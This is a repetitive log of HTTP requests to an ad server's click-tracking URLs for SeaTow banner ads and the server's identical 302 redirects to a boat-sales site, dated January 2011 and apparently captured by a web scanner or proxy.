<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1993017733/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:55:49 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/2033280661/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:22:15 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/2035051749/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:45:34 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/2039949584/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:53:51 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/2139721205/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:01:46 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/21461803/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:46:19 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/238495154/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:48:11 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/288726570/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:59:52 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/319855659/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:00:46 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/321743525/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:56:44 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/373221580/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:44:26 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/386017114/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:40:00 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/457264621/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:42:34 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/488972836/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:04:09 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/495614817/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:38:45 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/503116854/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:52:50 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/52813720/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:09:39 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/566136437/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:57:57 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/569370007/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:44:22 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/586884124/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:49:50 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/601575059/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:04:15 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18">here</a> ...[SNIP]...
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/616635952/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:01:52 GMT Server: Apache/2.2.3 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 389 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1
